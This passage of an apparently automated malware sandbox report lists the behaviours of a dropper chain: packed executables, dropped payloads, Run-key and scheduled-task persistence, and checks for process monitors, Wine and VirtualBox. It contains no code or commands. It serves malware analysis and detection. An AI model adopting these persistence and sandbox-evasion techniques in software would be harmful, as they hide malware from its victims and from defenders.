Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.971690331249355
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: entropy: 7.971690331249355
Source: random[1].exe0.7.dr	Static PE information: section name: jfbmubxy entropy: 7.954398725393829
Source: 1553f88169.exe.7.dr	Static PE information: section name: jfbmubxy entropy: 7.954398725393829
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: entropy: 7.731248083173909
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: entropy: 7.9848712865388904
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: oibhsmco entropy: 7.953838967160532

Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\hangbird\is-21RVC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\nvfvsdksvc_x64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-BB72E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\hangbird\is-8C9AL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File created: C:\Users\user\AppData\Local\Temp\SWJQ0719J9GFR3PZ91XO7LBLZA7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-DEVD7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fontcreator[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-GF03F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\nvfvsdksvc_x64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	File created: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\hangbird\Updater.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\ddETWExternal.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\ddETWExternal.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	File created: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\NVFTVRDLL64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File created: C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\NVFTVRDLL64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003147001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-5MQTR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	File created: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-7T5A6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	File created: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-9EFK3.tmp	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9eba8044e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1553f88169.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 661f3ff865.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9eba8044e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9eba8044e7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1553f88169.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1553f88169.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 661f3ff865.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 661f3ff865.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

